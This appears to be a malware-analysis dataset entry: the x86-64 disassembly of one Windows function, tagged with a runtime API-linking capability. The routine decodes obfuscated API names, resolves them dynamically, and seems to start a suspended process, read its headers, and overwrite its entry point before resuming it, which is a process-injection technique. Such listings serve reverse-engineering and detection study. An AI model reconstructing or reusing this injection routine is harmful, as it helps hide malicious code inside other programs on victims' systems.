Function at 0x140003fe0
Capabilities:
Link many functions at runtime

Disassembly:
push rbp
mov rbp, rsp
push r15
push r14
push r13
push r12
push rdi
push rsi
lea rsi, str.04_48_17_72_F8_09
push rbx
and rsp, 0xfffffffffffffff0
sub rsp, 0xa40
call fcn.140001787
lea rax, str.00_00_00_00_00_00
xor r9d, r9d
lea rdi, [rsp + 0x340]
mov qword [rsp + 0x68], r9
mov ecx, 0x8c
lea r8, [rsp + 0x68]
mov edx, 0x56
rep movsd dword [rdi], dword [rsi]
mov qword [rsp + 0x70], r9
lea rdi, [rsp + 0x160]
lea rsi, str.68_65_2C_F9_DF_42
mov qword [rsp + 0x130], rax
lea rax, str.64_48_A0_78_06_A9
mov ecx, 0xc
mov qword [rsp + 0x78], r9
rep movsd dword [rdi], dword [rsi]
mov qword [rsp + 0x80], r9
lea rcx, [rsp + 0x340]
mov qword [rsp + 0x88], r9
mov qword [rsp + 0x90], r9
lea r9, [rsp + 0x70]
mov qword [rsp + 0x138], rax
lea rax, str.6C_8C_4F_ED_00_00
mov qword [rsp + 0x140], rax
call fcn.140003710
test eax, eax
jne 0x1400040ac
mov eax, 1
jmp 0x140004594
lea r9, [rsp + 0x80]
lea r8, [rsp + 0x78]
mov edx, 6
lea rcx, [rsp + 0x160]
call fcn.140003710
test eax, eax
je 0x1400040a2
lea rcx, [rsp + 0x130]
lea r9, [rsp + 0x90]
mov edx, 3
lea r8, [rsp + 0x88]
call fcn.140003710
test eax, eax
je 0x1400040a2
mov rbx, qword [rsp + 0x78]
mov rdx, qword [rsp + 0x80]
xor r8d, r8d
mov qword [rsp + 0x98], r8
mov rcx, rbx
mov qword [rsp + 0xa0], r8
call fcn.140003520
test al, al
jne 0x140004129
or eax, 0xffffffff
jmp 0x140004594
mov rcx, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x90]
call fcn.1400034d0
test al, al
je 0x1400040a2
lea rax, [rsp + 0xa0]
mov r9, rcx
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x98]
mov r8, rbx
mov qword [rsp + 0x20], rax
call fcn.140003570
test eax, eax
je 0x140004121
movabs rax, 0x57581e0005000000
lea rbx, [rsp + 0xd1]
movabs rdx, 0x130c00131a0a2410
mov r8d, 0xc
mov qword [rsp + 0xd1], rax
mov rcx, rbx
movabs rax, 0x1e090f5c57581e
lea rdi, [rsp + 0xeb]
mov qword [rsp + 0xd6], rax
movabs rax, 0x33000602000020
lea r13, [rsp + 0xfa]
lea rsi, [rsp + 0x10b]
mov qword [rsp + 0xeb], rax
movabs rax, 0x25101617000a00
lea r12, [rsp + 0x11d]
lea r15, [rsp + 0xc5]
mov qword [rsp + 0xf2], rax
movabs rax, 0x402060d33000020
mov qword [rsp + 0xfa], rax
movabs rax, 0x61d163516050020
mov qword [rsp + 0x10b], rax
movabs rax, 0x1d05391703000020
mov qword [rsp + 0x102], rdx
movabs rdx, 0xb081729160101
mov qword [rsp + 0x11d], rax
movabs rax, 0x202270910000020
mov qword [rsp + 0x113], rdx
movabs rdx, 0x1804173a1a01120a
mov qword [rsp + 0xc5], rax
movabs rax, 0xd26160807000020
mov qword [rsp + 0x125], rdx
lea rdx, [0x1400060a8]
mov qword [rsp + 0xde], rax
movabs rax, 0x170417010d2616
mov qword [rsp + 0xe3], rax
mov byte [rsp + 0x10a], 0
mov word [rsp + 0x11b], 0x1c
mov dword [rsp + 0x12c], 0x100018
mov dword [rsp + 0xcd], 0x90f0b
call fcn.140003f90
mov r8d, 0xe
lea rdx, [0x1400060ac]
mov rcx, rdi
call fcn.140003f90
mov r8d, 0x10
lea rdx, [0x1400060b0]
mov rcx, r13
call fcn.140003f90
mov r8d, 0x11
lea rdx, [0x1400060b4]
mov rcx, rsi
call fcn.140003f90
mov r8d, 0x12
lea rdx, [0x1400060b8]
mov rcx, r12
call fcn.140003f90
mov r8d, 0xb
lea rdx, [0x1400060bc]
mov rcx, r15
call fcn.140003f90
lea rax, [rsp + 0xde]
mov r8d, 0xc
lea rdx, [0x1400060c0]
mov rcx, rax
mov qword [rsp + 0x58], rax
call fcn.140003f90
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbx, rax
test rax, rax
je 0x1400040a2
mov rdx, rdi
mov rcx, rax
mov rdi, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rdi
mov rdx, r13
mov rcx, rbx
mov r14, rax
call rdi
mov rdx, rsi
mov rcx, rbx
mov r13, rax
call rdi
mov rdx, r12
mov rcx, rbx
mov rsi, rax
call rdi
mov rdx, r15
mov rcx, rbx
mov r12, rax
call rdi
mov rcx, rbx
mov rdx, qword [rsp + 0x58]
mov r15, rax
call rdi
mov rbx, rax
test r14, r14
je 0x1400040a2
test r13, r13
je 0x1400040a2
test rsi, rsi
je 0x1400040a2
test r12, r12
je 0x1400040a2
test r15, r15
je 0x1400040a2
test rax, rax
je 0x1400040a2
xor eax, eax
mov ecx, 0x19
xor r9d, r9d
mov dword [rsp + 0x1d0], 0x68
lea rdx, [rsp + 0x1d4]
mov qword [rsp + 0xa8], rax
lea r8, [rsp + 0x1d0]
mov rdi, rdx
mov qword [rsp + 0xb0], rax
lea rdx, [rsp + 0x148]
mov qword [rsp + 0xb8], rax
xor eax, eax
rep stosd dword [rdi], eax
mov rdi, rdx
mov ecx, 6
rep stosd dword [rdi], eax
xor ecx, ecx
mov qword [rsp + 0x48], rdx
xor edx, edx
mov qword [rsp + 0x40], r8
xor r8d, r8d
mov qword [rsp + 0x38], rdx
mov qword [rsp + 0x30], rdx
xor edx, edx
mov dword [rsp + 0x20], ecx
lea rcx, [0x1400060c4]
mov dword [rsp + 0x28], 4
call r14
test eax, eax
je 0x1400040a2
mov rcx, qword [rsp + 0x150]
lea rdx, [rsp + 0x570]
mov dword [rsp + 0x5a0], 0x10000b
call r13
test eax, eax
je 0x1400040a2
mov rax, qword [rsp + 0x5f8]
lea rdi, [rsp + 0xb0]
mov rcx, qword [rsp + 0x148]
mov r9d, 8
mov qword [rsp + 0x20], rdi
lea r8, [rsp + 0xa8]
lea rdx, [rax + 0x10]
call rsi
test eax, eax
je 0x1400040a2
mov qword [rsp + 0x20], rdi
mov rdx, qword [rsp + 0xa8]
mov r9d, 0x40
lea r8, [rsp + 0x190]
mov rcx, qword [rsp + 0x148]
call rsi
test eax, eax
je 0x1400040a2
movsxd rdx, dword [rsp + 0x1cc]
mov qword [rsp + 0x20], rdi
mov r9d, 0x108
lea r8, [rsp + 0x238]
add rdx, qword [rsp + 0xa8]
mov rcx, qword [rsp + 0x148]
call rsi
test eax, eax
je 0x1400040a2
lea rax, [rsp + 0xb8]
mov edx, dword [rsp + 0x260]
mov r9, qword [rsp + 0xa0]
add rdx, qword [rsp + 0xa8]
mov qword [rsp + 0x20], rax
mov r8, qword [rsp + 0x98]
mov rcx, qword [rsp + 0x148]
call r12
test eax, eax
je 0x1400040a2
mov rcx, qword [rsp + 0x150]
call rbx
inc eax
sete al
movzx eax, al
lea rsp, [rbp - 0x38]
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret